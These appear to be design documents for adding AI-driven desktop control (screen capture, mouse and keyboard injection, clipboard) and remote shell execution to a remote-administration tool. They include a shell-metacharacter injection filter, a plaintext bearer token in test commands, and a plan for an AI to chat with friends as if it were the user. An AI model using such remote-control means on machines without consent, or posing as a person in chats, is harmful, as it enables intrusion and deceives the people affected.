| `max_width`(长边) | 1280默认/ 1568上限 | 1280×720 ≈ 80% 像素预算、训练常见分辨率 |
| 编码 | JPEGquality ~7085 | 客户端 `jpegQuality` 已有,按 `ChooseScreenPreviewParams` 自适应 |
| 返回 | base64 `image/jpeg` | 已实现 |
---
## 6. 输入注入Act
### 6.1 协议(复用,已核实)
- **包格式**`[cmd:1][MSG64:48]`,可批量重复(`commands.h` `COMMAND_SCREEN_CONTROL=20``MSG64` 15811623
- **MSG64 布局**`{uint64 hwnd, message, wParam, lParam, time; POINT pt;}` = 48 字节(`_WIN64``MYMSG``MSG`;客户端亦接受 28 字节 `MSG32`,由 `ulLength % 28/48` 判定)。
- **客户端解码**`ScreenManager.cpp:1175``ProcessCommand(1727)``SendInput`
- 鼠标:坐标取 `LOWORD/HIWORD(lParam)``WM_MOUSEMOVE``MOUSEEVENTF_MOVE``WM_LBUTTONDOWN/UP``LEFTDOWN/LEFTUP``WM_LBUTTONDBLCLK`→额外 `LEFTDOWN``WM_MBUTTONDOWN/UP``WM_MOUSEWHEEL``MOUSEEVENTF_WHEEL`(`mouseData=GET_WHEEL_DELTA_WPARAM`)。
- 键盘:`wVk=(WORD)wParam``wScan=(lParam>>16)&0xFF``KEYEVENTF_EXTENDEDKEY``(lParam>>24)&1`
### 6.2 服务端可复用实现
`WebService::HandleMouse``WebService.cpp:773-865`)与 `HandleKey``867-952`)已从 JSON`type/x/y/button/delta``keyCode/down/altKey`)构造 `MSG64``[COMMAND_SCREEN_CONTROL][MSG64]` 发送。其中 `HandleKey` 已正确处理 `lParam`repeat=1、`MapVirtualKey` 扫瞄码、扩展键表、Alt 上下文位 29、keyup 位 3031。
**结论**`remote_mouse`/`remote_keyboard` 是这两个函数的 MCP 薄封装——先归一化→物理像素,再套用其 `MSG64` 构造逻辑。**不要新写注入协议**。
### 6.3 子连接前置条件(关键约束)
注入**必须**经屏幕子连接:
1. 主连接发 `COMMAND_SCREEN_SPY`(16)(载荷 `{cmd, USING_DXGI|2, ALGORITHM_*, MultiScreen}`,见 `2015RemoteDlg.cpp:8443-8470`)→ 客户端开子连接(`ClientDll.cpp:89-94`)。
2. 客户端回 `TOKEN_BITMAPINFO`(含物理 `BITMAPINFOHEADER``biWidth/biHeight`)——**这是归一化坐标映射所需的物理分辨率来源**。
3. 服务器发 `COMMAND_NEXT`(30) 开始流/允许控制。
4. `GetScreenContext(device_id)``WebService.cpp:2084`)从 `m_ScreenContexts` 取该子连接上下文。
> 实现提示:上述 14 的建立/持有逻辑**耦合在 `CScreenSpyDlg`(隐藏对话框)里**——子连接、帧 DIB、`TOKEN_BITMAPINFO` 处理都由它完成。MCP 的 `remote_open` 应复用 `WebService::StartRemoteDesktop`(1725) 的「隐藏对话框」路径而非另造无对话框持有者§13.2)。
`remote_open` 即上述 14 的封装;`screen_w/screen_h` 取自 `TOKEN_BITMAPINFO`
### 6.4 文本输入ASCII 直注 vs 非 ASCII 走剪贴板
`remote_keyboard``type` 走物理键事件(`wVk`/`wScan``SendInput`),只能可靠注入 ASCII/ANSI 字符——**中文等非 ASCII 文本无法靠模拟键盘键入**(需 IME 组合,键事件层面做不到)。
非 ASCII 文本的可靠路径是**剪贴板 + 粘贴**
- 服务器设远程剪贴板命令 `COMMAND_SCREEN_SET_CLIPBOARD`(25),包 `[cmd:1][text:N]`,经屏幕子连接发送;客户端 `UpdateClientClipboard``ScreenManager.cpp:1223/1599`)落到剪贴板。
- 随后 `remote_keyboard` 注入 `Ctrl+V` 粘贴、`Enter` 发送。
- **编码注意(已核实)**`UpdateClientClipboard``SetClipboardData(CF_TEXT,...)`——ANSI/GBK 格式(`CF_TEXT`,非 `CF_UNICODETEXT`。MVP 下中文可经 `ToAnsi(utf8, 936)` 转 GBK 后直发(与终端命令同模式);但 emoji/非 GBK 字符会丢、部分新式聊天软件粘贴偏好 Unicode。更稳做法是复用 `COMMAND_C2C_TEXT`(90) 的 UTF-8→Unicode→`CF_UNICODETEXT` 逻辑(`KernelManager.cpp:1573-1587`,且已内置「设完剪贴板后自动模拟 Ctrl+V」或新增一个 UTF-8 设剪贴板变体。见 §17 实验案例。
---
## 7. 坐标约定与映射
### 7.1 归一化坐标D3
- AI 在**所有鼠标动作**里输出 **0..1 浮点**`x = 目标横向比例y = 目标纵向比例`,相对**它看到的那张截图**。
- 服务器侧映射:`phys_x = round(norm_x * screen_w)``phys_y = round(norm_y * screen_h)`,其中 `screen_w/h``remote_open` 时从 `TOKEN_BITMAPINFO` 得到的**物理捕获分辨率**。
- 好处:无论 `max_width` 怎么缩、显示器多大AI 永远只说「在图的 40%/60% 处点一下」,比例错位风险为零。
### 7.2 坐标空间一致性(最重要正确性点)
Observe`get_screenshot` 抓**主屏**)与 Act`SendInput` 绝对坐标在**虚拟桌面**空间)默认不同源。**阶段一只支持单显示器**:主屏 == 虚拟桌面,两者重合,映射严格正确。
多显示器(`MultiScreen`)在**阶段二**处理:届时 Observe 必须改抓**整个虚拟桌面**(而非主屏),`screen_w/h` 用虚拟桌面尺寸,归一化坐标才继续成立。**在阶段二落地前,`remote_open` 对多显示器配置应返回显式错误或降级为主屏**(见 §12
### 7.3 边界与钳制
- 归一化值越界(`<0``>1`)→ 钳制到 `[0,1]` 或返回 `-32602`(建议钳制,模型偶发 `1.0001`)。
- `phys_x/y` 不得越过 `screen_w/h`,注入前 `clamp(0, screen_w-1)`
---
## 8. 控制会话状态机
### 8.1 生命周期
```
remote_open ──► 建立子连接 ──► [remote_mouse/remote_keyboard × N + get_screenshot × M]
│ │
└──busy 互斥 / idle 回收 / 断线清理)──────────┴──► remote_close幂等
```
### 8.2 状态与不变量(镜像 `docs/Mcp_Terminal_Design.md` §并发)
- **单设备单控制会话**`remote_open` 对已存在会话 → `-32003`(忙)。
- **互斥**同一设备上MCP 远程控制会话与**人类远程桌面观看**`m_ScreenContexts` 已被占用)互斥——`remote_open` 发现已有屏幕子连接 → `-32003`,避免 AI 向人类正在观看/控制的画面注入。`remote_mouse/keyboard` 要求 `session_id` 匹配且会话未关闭。
- **busy 标志**:一条注入在飞时 `busy=true`,保证等待线程是唯一擦除者(沿用终端的 `m_TermMutex`+`busy` 模式;远程控制建议独立 `m_ScreenCtrlMutex`/`m_ScreenCtrlCv`)。
- **idle 回收**:会话闲置超时(默认 300s自动关闭并 `CancelIO`(镜像 `SweepIdleTerminals`)。
- **断线清理**`OfflineProc`/`OnTerminalClosed` 同位置加 `McpServer().OnScreenControlClosed(subCtx)`,防悬空 `subCtx` 被连接池复用(复刻终端设计里发现的第 2 个修复点)。
- **锁外 `CancelIO`**:所有取消动作在锁外执行(终端的 P2 教训)。
### 8.3 并发P5 教训)
`httplib` 多线程并发处理请求;`remote_mouse` 会高频调用。会话状态一律 `m_ScreenCtrlMutex` 串行化,**不要假定请求串行**。高频注入可加**节流**(沿用 `SendScaledMouseMessage` 的鼠标移动节流思路,`ScreenSpyDlg.cpp:2728-2743`)。
---
## 9. 安全模型
延续既有「可控、可关、可审、可隔离」原则(与终端同级):
### 9.1 开关与门控
- 新增 `McpRemoteControl`(默认 **0=关**)。
- `remote_*` 生效条件:`McpRemoteControl=1 && McpReadonly=0`,否则 `-32006`
- `get_screenshot` 是只读工具,不受此门控,仍仅受现有能力门(供纯观察场景)。
### 9.2 全程审计
每条 `remote_open/close/mouse/keyboard` 调用 → `PostMessageA(WM_SHOWERRORMSG, ...)``m_MessageLog``get_audit_log` 可查(复用 `McpServer.cpp:2050` 的审计模式,标题 `MCP远程控制`,标记「不可关闭」)。审计内容含:设备 id、动作、归一化坐标与换算后的物理坐标、session_id、时间戳。
### 9.3 会话级鉴权
- `session_id``GenerateRandomToken()`32hex每次 `remote_open` 独立随机,防串用(镜像终端 P6
- 注入工具校验 `session_id` 归属与设备匹配,不匹配 → `-32002`
### 9.4 不可逆操作与人工确认
- YAMA **不做逐动作确认**(会引入每步 0.5s+ 延迟,破坏闭环节奏)。
- 高危动作(提交表单、删除、付款、改系统设置)的确认由**宿主/AI 编排层**负责Claude Code 的权限系统 / 系统提示约定「不可逆操作前暂停询问用户」。本文记录此分工YAMA 提供审计留痕兜底。
### 9.5 提示注入Prompt Injection
视觉模型会读到客户端屏幕上的**不可信 UI 文本**,存在注入风险。缓解:远程控制本身即高危能力(默认关 + 只读关才开 + 全审计建议宿主将远程控制会话隔离在独立权限域并对「屏幕文本里的指令」保持怀疑。YAMA 侧不做内容分类(无意义且加延迟),记录即可。
---
## 10. 错误码
沿用现有约定(`BuildError(id, code, msg)`
| code | 含义 | 触发 |
|---|---|---|
| -32602 | 参数非法 | action 未知、必填参数缺失、`max_width` 越界、归一化值格式错 |
| -32000 | 通用失败 | 未分类错误 |
| -32001 | 超时 | `remote_open` 等子连接/`get_screenshot` 等帧超时 |
| -32002 | 设备/会话不存在 | `id` 无在线主机、`session_id` 不存在或不匹配 |
| -32003 | 设备/会话忙 | 已有控制会话、人类远程桌面占用、`get_screenshot` 在飞 |
| -32004 | 发送失败 | 注入命令发送失败 |
| -32005 | 能力不支持 | 客户端无 `CLIENT_CAP_SCREEN_PREVIEW`Observe/ 不支持屏幕控制Act |
| -32006 | 被开关禁用 | `McpRemoteControl=0``McpReadonly=1` |
| -32008 | 非法/被拒参数 | 多显示器未支持时的 `remote_open` 降级拒绝(阶段一) |
---
## 11. 配置项
新增 1 项(`THIS_CFG` `settings` 节,键名沿用蛇形):
| 键 | 默认 | 说明 |
|---|---|---|
| `McpRemoteControl` | `0` | 远程控制开关;要求 `McpReadonly=0` 才生效 |
其余沿用:`McpEnabled`/`McpPort`/`McpBind`/`McpToken`/`McpReadonly`/`McpTerminal`/`McpCmdWhitelist`。改动需重启生效(与终端一致)。
---
## 12. 已知限制与后续扩展
### 12.1 阶段一(本期)
- **单显示器**Observe 抓主屏,坐标空间与虚拟桌面重合;多显示器 `remote_open` 显式报错(`-32008`)。
- 注入基于**绝对坐标** `SendInput`,要求客户端处于可注入的桌面会话(已登录、非锁屏/非 UAC 安全桌面);锁屏/UAC 提示场景注入无效(客户端 `SendInput` 限制),设计文档记录为已知限制。
- **代聊实验使能项**:窗口抓屏(`COMMAND_SCREEN_WINDOW`、UTF-8 剪贴板、窗口聚焦随阶段一落地§17
### 12.2 阶段二(后续)
1. **多显示器虚拟桌面捕获**`get_screenshot` 增加虚拟桌面抓屏,或新增 `remote_screenshot` 从子连接 DIB 服务端缩图(复用 `BmpToJpeg`/`CacheThumbnail` GDI+ 路径),使 Observe/Act 同源。
2. **窗口定向**`remote_focus_window`(复用 `COMMAND_SCREEN_WINDOW` + 客户端 `SetForegroundWindow`)。
3. **光标读取 / 剪贴板**
4. **服务端缩图**:从 `m_BitmapData_Full`BGRA DIB直接按 API 上限缩图编码,进一步省客户端往返。
---
## 13. 改动清单(供实现参照)
> 行号以当前树为准(实现前请 grep 复核)。新增/改动尽量「复用」而非「重写」。
### 13.1 `server/2015Remote/McpServer.h`
- 新增 `struct ScreenCtrlSession`(仿 `TermSession``sessionId``deviceId``busy``started``closed``lastActiveAt``screenW/screenH`(来自 `TOKEN_BITMAPINFO`)、`subCtx` 引用。
- 新增方法:`SetRemoteControlEnabled/IsRemoteControlEnabled``BeginScreenCtrlOpen/…/CloseScreenCtrlSession/SweepIdleScreenCtrl``OnScreenControlClosed(context*)``ResolveScreenCtrlSessionHost`
- 新增成员:`bool m_remoteControlEnabled=false;``std::mutex m_ScreenCtrlMutex; std::condition_variable m_ScreenCtrlCv; std::map<context*,uint64_t> m_ScreenCtrlContextToDevice; std::map<uint64_t,ScreenCtrlSession> m_ScreenCtrlSessions;`(或复用 WebService 的 `m_ScreenContexts` 生命周期,见下)。
### 13.2 `server/2015Remote/McpServer.cpp`
- 新增 4 个 schema 构建器 + 3 个 handler`BuildRemoteOpen/Close/Mouse/Keyboard`(镜像 `BuildTerminalOpen` 等,`BuildToolsListResult` ~1278 后加条目,`BuildToolsCall` ~2124 加分派)。
- `remote_open``SweepIdleScreenCtrl``ResolveScreenCtrlSessionHost` → 已有会话 `-32003``GenerateRandomToken`**复用 Web 远程桌面的会话建立路径 `WebService::StartRemoteDesktop`(1725)**(发 `COMMAND_SCREEN_SPY` → 以 `SW_HIDE` 打开隐藏 `CScreenSpyDlg` 持有子连接 → 客户端子连接到达 → `RegisterScreenContext` 记入 `m_ScreenContexts`)→ 等 `TOKEN_BITMAPINFO``screenW/H``COMMAND_NEXT` → 审计 → 返回 `{session_id, screen_w, screen_h}`。**注意:屏幕子连接/帧 DIB/`TOKEN_BITMAPINFO` 处理都与 `CScreenSpyDlg` 耦合,不要另造无对话框持有者——沿 Web 的隐藏对话框路径是低风险正解。**
- `remote_mouse/keyboard``ResolveScreenCtrlSessionHost` → 校验 `session_id`/`busy` → 归一化→物理像素(`round(norm * screenW/H)` + clamp**复用 `WebService::HandleMouse/HandleKey` 的 `MSG64` 构造**(或抽取成共享 helper `BuildMouseMsg64/BuildKeyMsg64`,避免 MCP 与 Web 两处重复)→ `subCtx->Send2Client([COMMAND_SCREEN_CONTROL][MSG64])` → 审计。
- `remote_close`:幂等 `CloseScreenCtrlSession`(不存在 → `{closed:true}`sid 不匹配 → `-32002`)→ 锁外 `CancelIO` → 审计。
- `OnScreenControlClosed`:镜像终端修复点——空闲会话直接擦路由+会话busy 会话唤醒等待线程由其清理。
- `SweepIdleScreenCtrl`:镜像 `SweepIdleTerminals``difftime` 防时钟回拨)。
### 13.3 `server/2015Remote/McpSettingsDlg.h/.cpp`
- 新增复选框 `IDC_MCP_REMOTECONTROL = 1008`,文案 `_TR("启用远程控制AI 操控桌面)")`;回填/落盘 `McpRemoteControl`;对话框高度 +30。
### 13.4 `server/2015Remote/2015RemoteDlg.cpp`
- 启动读配置处加 `McpServer().SetRemoteControlEnabled(THIS_CFG.GetInt("settings","McpRemoteControl",0)!=0);`
- `OfflineProc``if (McpServer().IsRunning() && McpServer().IsScreenCtrlContext(ContextObject)) McpServer().OnScreenControlClosed(ContextObject);`(复刻终端修复点)。
### 13.5 语言文件
- 沿用终端约定MCP 相关文案本就在 `lang/*.ini` 无条目(`_TR` 对未命中键原样返回中文)。若日后翻译,用 **GBK 工具**改 `lang/{en_US,zh_TW}.ini`ANSI/GBK**不能用 Write/Edit 直接写**)。
---
## 14. 关键点(实现时务必遵守)
- **P1坐标一致性最重要**:归一化坐标映射所用 `screenW/H` 必须与**当前截图来源的分辨率**一致。阶段一单屏下 `TOKEN_BITMAPINFO` 的主屏尺寸 == 截图主屏物理尺寸,才成立;任何「用虚拟桌面尺寸映射主屏截图」都会造成系统性偏移(最佳实践第一大坑)。
- **P2注入走子连接**`COMMAND_SCREEN_CONTROL` **必须**经 `GetScreenContext` 取得的子连接发送,主连接无效。
- **P3锁外 CancelIO**:所有 `CancelIO``m_ScreenCtrlMutex` 之外(终端 P2 教训)。
- **P4复用勿重写**`MSG64` 构造逻辑复用 `WebService::HandleMouse/HandleKey`;理想做法抽共享 helper否则未来两处漂移。
- **P5并发串行化**`remote_mouse` 高频并发,状态全部走锁;勿假定请求串行(终端 P5 教训)。
- **P6session_id 独立随机 + 互斥)**:会话 token 用 `GenerateRandomToken`;单设备单会话;与人类远程桌面观看互斥(`-32003`)。
- **P7非黑盒**:不实现 `perform_task`;循环归宿主/AIYAMA 只出原语D2
---
## 15. 验证端到端127.0.0.1:6544Bearer `a2176213eddcf0acfdb285940ec4eb2a`
前置:设置开 `McpEnabled=1``McpReadonly=0``McpRemoteControl=1`;目标 Windows 客户端在线、已登录桌面。`id``list_online_hosts` 的十进制主机 id。
```bash
B='Authorization: Bearer a2176213eddcf0acfdb285940ec4eb2a'
U=http://127.0.0.1:6544/mcp
# 1) tools/list 应出现 remote_open/close/mouse/keyboard 四个工具
curl -s $U -H "$B" -H 'Content-Type: application/json' -d '{"jsonrpc":"2.0","id":1,"method":"tools/list"}'
# 2) 打开会话 → session_id + screen_w/h
curl -s $U -H "$B" -H 'Content-Type: application/json' -d '{"jsonrpc":"2.0","id":2,"method":"tools/call","params":{"name":"remote_open","arguments":{"id":"<HOSTID>"}}}'
# 3) Observe截图复用
curl -s $U -H "$B" -H 'Content-Type: application/json' -d '{"jsonrpc":"2.0","id":3,"method":"tools/call","params":{"name":"get_screenshot","arguments":{"id":"<HOSTID>","max_width":1280}}}'
# 4) Act移动 + 单击归一化坐标0.5,0.5 = 屏幕中心)
curl -s $U -H "$B" -H 'Content-Type: application/json' -d '{"jsonrpc":"2.0","id":4,"method":"tools/call","params":{"name":"remote_mouse","arguments":{"id":"<HOSTID>","session_id":"<SID>","action":"move","x":0.5,"y":0.5}}}'
curl -s $U -H "$B" -H 'Content-Type: application/json' -d '{"jsonrpc":"2.0","id":5,"method":"tools/call","params":{"name":"remote_mouse","arguments":{"id":"<HOSTID>","session_id":"<SID>","action":"click","x":0.5,"y":0.5,"button":"left"}}}'
# 5) 键盘:按下并抬起 Ctrl+Esc 或输入文本
curl -s $U -H "$B" -H 'Content-Type: application/json' -d '{"jsonrpc":"2.0","id":6,"method":"tools/call","params":{"name":"remote_keyboard","arguments":{"id":"<HOSTID>","session_id":"<SID>","action":"key_press","key":"WIN"}}}'
# 6) 负例:未开会话/错误 sid → -32002已开会话再 open → -32003只读/开关关 → -32006
# 7) 关闭 + 幂等关闭
curl -s $U -H "$B" -H 'Content-Type: application/json' -d '{"jsonrpc":"2.0","id":9,"method":"tools/call","params":{"name":"remote_close","arguments":{"id":"<HOSTID>","session_id":"<SID>"}}}'
# 8) 审计链
curl -s $U -H "$B" -H 'Content-Type: application/json' -d '{"jsonrpc":"2.0","id":12,"method":"tools/call","params":{"name":"get_audit_log","arguments":{}}}'
```
人工核对:注入后目标机光标/焦点确实变化审计列表出现标题「MCP远程控制」的 open/close/mouse/keyboard 条目;闲置 >300s 后旧 `session_id` 调用 → `-32002`。编译由你以 VS2019MSBuild v143完成我侧仅代码审查工具集 v142无法在此构建
---
## 16. 涉及文件
- `server/2015Remote/McpServer.h` / `.cpp`(会话状态机 + schema + handler + 分派)
- `server/2015Remote/McpSettingsDlg.h` / `.cpp`(新开关)
- `server/2015Remote/2015RemoteDlg.cpp`(启动读配置 + `OfflineProc` 清理钩子)
- `common/commands.h`**只读参照**`COMMAND_SCREEN_SPY`/`COMMAND_SCREEN_CONTROL`/`MSG64`/`COMMAND_SCREEN_PREVIEW_REQ` 等,无需改)
- `server/2015Remote/WebService.cpp`**复用参照**`HandleMouse`/`HandleKey`/`GetScreenContext`
- `lang/{en_US,zh_TW}.ini`可选GBK 工具改)
---
## 17. 实验案例AI 代聊chat-on-behalf
> 目标以「AI 通过远程桌面,在聊天软件里代表你与朋友聊天」为第一个实验用例,验证整条「看 → 想 → 动 → 确认」链路。低风险、目标清晰、信号明确(有新消息 / 已发出)。
### 17.1 闭环
1. `list_windows` 找到聊天窗口(`hwnd`/`title`)。
2. `remote_focus_window`(或 `remote_mouse` 点击输入框)聚焦聊天窗。
3. 抓**聊天窗口**高分辨率截图 → 视觉模型读出朋友最新消息。
4. 模型生成回复。
5. `remote_clipboard` 把回复写入远程剪贴板UTF-8
6. `remote_keyboard` 注入 `Ctrl+V`(粘贴)+ `Enter`(发送)。
7. 再截图确认已发出,等待下一条。
### 17.2 两个已验证的关键依赖
- **中文输入(走剪贴板,已解决)**:见 §6.4。`COMMAND_SCREEN_SET_CLIPBOARD`(25) 为 ANSI/GBK`CF_TEXT`),中文可经 `ToAnsi(utf8, 936)` 直发跑通 MVP要支持 emoji/完整 Unicode复用 `COMMAND_C2C_TEXT`(90) 的 UTF-8→`CF_UNICODETEXT` 逻辑或新增 UTF-8 变体。客户端 `KernelManager.cpp:1590` 已内置「设剪贴板后自动模拟 Ctrl+V」。
- **读消息(需窗口抓屏)**`get_screenshot` 抓整屏,缩到 1280 后聊天文字过小、OCR 易错。用 `COMMAND_SCREEN_WINDOW`(153) 按窗口抓取聊天窗(更高有效分辨率),或对该区域用更高 `max_width`
### 17.3 使能清单(相对现有代码的增量)
| 能力 | 状态 | 复用点 |
|---|---|---|
| `get_screenshot` / `list_windows` | ✅ 已有 | — |
| 剪贴板写入 | ⚠️ 客户端已有GBK 直发可跑通),缺 MCP 封装 | `COMMAND_SCREEN_SET_CLIPBOARD`(25) / `COMMAND_C2C_TEXT`(90) |
| `remote_open` / `remote_close`(屏幕子连接) | ❌ 待建 | `COMMAND_SCREEN_SPY`(16) 建立逻辑 `2015RemoteDlg.cpp:8443` |
| `remote_mouse` / `remote_keyboard` | ❌ 待建 | `WebService::HandleMouse/HandleKey` |
| `remote_focus_window` | ❌ 待建 | `COMMAND_SCREEN_WINDOW`(153) |
| `remote_clipboard` | ❌ 待建 | 见 §6.4 |
### 17.4 最小 MVP 实施顺序(按依赖)
1. `remote_open` / `remote_close`(屏幕子连接 + `TOKEN_BITMAPINFO` 取分辨率)。
2. `remote_keyboard`(先只做 `key_press`/`type` + 修饰键,够发 `Ctrl+V`/`Enter`)。
3. `remote_mouse``click`/`move`,用于点输入框;聚焦可用点击替代)。
4. `remote_clipboard`(先 GBK 直发跑通,再上 UTF-8 变体)。
5. `remote_focus_window`(或用步骤 3 的点击替代,二选一即可跑通)。
> 1→2→3 已足以发出一条消息(点输入框 + 粘贴 + 回车4 是中文关键路径5 是体验优化,可后置。
### 17.5 实验注意事项
- 目标机必须**已登录且未锁屏**(锁屏/UAC 安全桌面下抓屏与注入均失效§12.1)。
- 「代聊」会让朋友误以为是真人在聊——实验前建议告知对方;避免让 AI 在承诺/隐私等话术上自由发挥§9.4 的人工确认原则同样适用)。
- 新消息检测先用「轮询截图」即可MVP 接受),后续用未读角标/窗口通知优化§17.6)。
### 17.6 后续优化(非 MVP
- 新消息触发:从「定时截图」改为「未读角标/窗口通知驱动」,大幅省 token。
- 窗口定向抓屏(`COMMAND_SCREEN_WINDOW`)并入 `remote_screenshot`
- 会话历史AI 保留最近几轮聊天上下文避免回复脱节宿主侧滚动缓冲§3
---
## 参考(行业最佳实践)
- Anthropic《Best practices for computer and browser use with Claude》— https://claude.com/fr/blog/best-practices-for-computer-and-browser-use-with-claude
- Anthropic 参考实现 `computer.py`(动作枚举、缩放、坐标换算)— https://github.com/anthropics/claude-quickstarts/blob/main/computer-use-demo/computer_use_demo/tools/computer.py
- 《How Claude Computer Use Works: Architecture Internals》— https://callsphere.ai/blog/how-claude-computer-use-works-architecture-internals

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# MCP 远程命令与持久终端 — 设计与实现
> 本文档覆盖 MCP 侧两类**命令执行**能力:
> 1. **一次性命令 `exec_command`**P3a—— 每次新建一个 shell、跑一条命令、读完即关。
> 2. **持久终端 `terminal_open` / `terminal_exec` / `terminal_close`**P4—— 同一主机**一个** shell 会话,跨命令保持 cwd 与环境变量。
>
> 阅读顺序建议:先读 `docs/Mcp_Design.md`Phase 1HTTP 协议、token 校验、配置、`list_online_hosts`)与 `docs/Mcp_Phase2_Design.md`(模式 A/A/B、工具路线图、P2aP3a 概要),再读本文档的**实现级细节**。本文档是后续人员 / 大模型接手与排查问题的主参考。
---
## 1. 术语与总览
| 术语 | 含义 |
|---|---|
| **一次性命令** | `exec_command`:无状态,每次独立 shell命令结束即 `CancelIO` 关闭子链接。 |
| **持久终端** | `terminal_open``terminal_exec`×N→`terminal_close`有状态cwd/env 跨命令保持。 |
| **哨兵sentinel** | 包装在命令尾部的一段随机标记,用于在输出流里定位「命令真实退出码」并截断输出。 |
| **子链接sub-connection / `context*`** | 客户端为 shell 建立的独立网络连接,`context` 是其服务端句柄。 |
| **主连接(`FindMainContext`** | 客户端与控制端的常驻长连接,用于下发 `COMMAND_*`。 |
| **isPty** | `true`=ConPTYUTF-8`cp=CP_UTF8``false`=老 cmd 管道GBK`cp=936`)。 |
两类能力**共享同一套底层机制**(终端链路、编码、哨兵、状态机 map、审计区别只在**生命周期**(一次性 vs 保持)与**安全门**(白名单 vs 无白名单 + 独立开关)。这也是为什么它们会互相排他(见 §6.3)。
---
## 2. 共享基础设施
### 2.1 客户端终端链路(两种能力通用)
无论一次性还是持久shell 的建立过程完全相同:
```
服务端 客户端
│ COMMAND_SHELL主连接 ──► 客户端创建 shell 子连接
│ ◄── TOKEN_SHELL_START 或 TOKEN_TERMINAL_START子连接
│ ↓ MessageHandle 顶部判定 IsTermPending → 交给 RegisterTerminalContext 接管
│ COMMAND_NEXT+ 若 PTY 先发 CMD_TERMINAL_RESIZE 80x24──► 客户端启动 shell 输出回流
│ ◄── 持续 shell 输出TOKEN_TERMINAL_DATA 之类,经 IsTerminalContext 路由到 OnTerminalData
│ ◄── TOKEN_TERMINAL_CLOSEshell 进程退出)→ OnTerminalClosed
```
关键点:
- **`COMMAND_NEXT` 不能漏发**——客户端读线程靠它才启动输出回流,漏发会导致 shell 在跑但输出永不送回(`RegisterTerminalContext` 内的注释明确强调)。
- **PTY 需先告知初始尺寸 80×24**,否则 TUI 尺寸错乱。
- `TOKEN_SHELL_START``TOKEN_TERMINAL_START` 二选一:老 `ShellManager`cmd 管道回前者ConPTY 回后者;服务端在 `MessageHandle` 里据此判定 `isPty`
### 2.2 编码
| isPty | 底层 | 服务端 cp |
|---|---|---|
| `true` | ConPTY | `CP_UTF8` |
| `false` | 老 cmd 管道 | `936`GBK |
- **发送方向**:命令/哨兵行先 UTF-8 组好,再 `ToAnsi(line, cp)` 转成客户端编码,追加 `"\r\n"`
- **接收方向**:原始字节 `ToUtf8(raw, cp)` 转回 UTF-8。
- 哨兵是纯 ASCII两种编码下字节一致编码无关。
### 2.3 哨兵机制
命令被包装成一行复合命令:
```
[@echo off & ] <cmd> 2>&1 && echo __MCP_DONE_<nonce>__0 || echo __MCP_DONE_<nonce>__1
```
- `@echo off & ` **仅 ConPTY 需要**(抑制 ConPTY 把输入整行回显)。老 `ShellManager` 已自行跳过回显,加 `@echo off` 反而破坏它的回显跳过逻辑。
- `&&` / `||` 控制操作符取**命令真实退出码**`%errorlevel%` 在复合句中解析期展开、已过期,故不能用 `%errorlevel%`)。
- `<nonce>` 为 8 位随机 hex`GenerateRandomToken().substr(0,8)`),保证命令真实输出不可能恰好包含完整哨兵串。
- `2>&1` 让 stderr 也走哨兵链stdout/stderr 都能被捕获且退出码正确。
**`FindSentinel`(检测)** 用 `rfind` **从后往前**找,且要求哨兵在**行首**`p==0` 或前一个字节是 `\n`),后跟 `0``1`
```cpp
size_t from = npos;
while (true) {
size_t p = s.rfind(marker, from);
bool lineStart = (p == 0) || (s[p-1] == '\n');
if (lineStart && s[p+marker.size()] '0' '1') { exitCode=...; pos=p; return true; }
from = p - 1;
}
```
为什么要「从后往前 + 行首」ConPTY 会把**整条命令行回显**进输出流,回显里的哨兵字样嵌在 `&& echo ... || echo ...` 中间、前面是空格(非行首)。若用 `rfind` 直取,回显包先于真实输出到达时会命中回显里的 `__1` 提前结束、截断真实输出。行首校验能排除回显行。老 `ShellManager` 无回显,输出里只有真实哨兵(仍在行首),逻辑一致。
### 2.4 输出清洗管线
从原始字节到返回 `stdout` 字符串,固定五步(`CleanTerminalOutput`,一次性命令为内联等价逻辑):
```
raw 字节
→ ToUtf8(raw, cp) 按 2.2 编码解码
→ StripAnsi(...) 剥 CSI/OSC/单字节 ESC去彩色码
→ CRLF → LF "\r\n" 归一为 "\n"
→ StripEchoedCommand(stdout, sentLine) 剔 ConPTY 输入行回显(见下)
→ TrimRight(...) 去尾部空白
```
**`StripEchoedCommand`(回显剔除)**ConPTY 的 `ENABLE_ECHO_INPUT` 会在 `@echo off` 生效**之前**把整条输入命令行回显进输出流。修复方法是在**服务端**把「刚发送的、含唯一 nonce 的完整命令行」(`SendTerminalCommandLine` 的返回值)从输出里整行 `find` + 剔除:
```cpp
static std::string StripEchoedCommand(const std::string& s, const std::string& echoedLine) {
if (echoedLine.empty() || s.empty()) return s;
size_t p = s.find(echoedLine);
if (p == npos) return s;
size_t q = p + echoedLine.size();
if (q < s.size() && s[q] == '\n') ++q; // CRLF 已归一为 \n
return s.substr(0, p) + s.substr(q);
}
```
-`echoedLine` 含随机 nonce命令真实输出不可能恰好相同 → 不会误删合法输出。
-`ShellManager` 无回显,`find` 不到该行 → 无操作,安全。
### 2.5 状态机与互斥(两类能力共用)
```cpp
struct TermSession {
bool started; // false=已发 COMMAND_SHELL 待 STARTtrue=已接管
context* subCtx; // shell 子连接上下文
bool isPty; // ConPTY(UTF-8) / cmd 管道(GBK)
std::string command; // 原始 UTF-8 命令(审计用)
std::string nonce; // 哨兵随机串
std::vector<BYTE> data; // 收集的原始 shell 输出
size_t sentPos; // 哨兵在 data 中的位置
int exitCode; // 0/1/-1
bool done; // 哨兵命中
bool closed; // TOKEN_TERMINAL_CLOSE进程退出
// ── 以下为持久终端新增 ──
std::string sessionId; // 持久会话 token一次性 exec 为空)
bool persistent; // 是否持久会话
bool busy; // 一条命令在飞terminal_exec 复位 → WaitTermCommand 返回)
time_t lastActiveAt; // idle 回收用(秒)
};
std::mutex m_TermMutex; // 保护下面两个 map
std::condition_variable m_TermCv;
std::map<uint64_t, TermSession> m_TermSessions; // device_id → 会话
std::map<context*, uint64_t> m_TermContextToDevice; // subCtx → device_id顶部路由
```
- `m_TermContextToDevice` 是**反向索引**`MessageHandle` 顶部用 `IsTerminalContext(subCtx)` 判定「这个子链接的输出是否该路由到 MCP 的 `OnTerminalData`,而不是打开 MFC 终端对话框」。
- `httplib` 默认多线程处理请求 → **多个 `tools/call` 会并发**。所有会话状态都靠 `m_TermMutex` + `busy` 串行化,**不要假定请求串行**。
---
## 3. 一次性命令 `exec_command`
### 3.1 安全门(顺序)
```
ParseHostIdArg → -32602 参数非法
FindMainContext → -32002 主机不存在/离线
clientType==LNX/MAC → -32005 仅 Windows
command 为空 → -32602
mcp.IsReadonly() → -32006 只读模式默认开,需 McpReadonly=0
含 &|<>^ 五元字符 → -32008 防注入绕过白名单
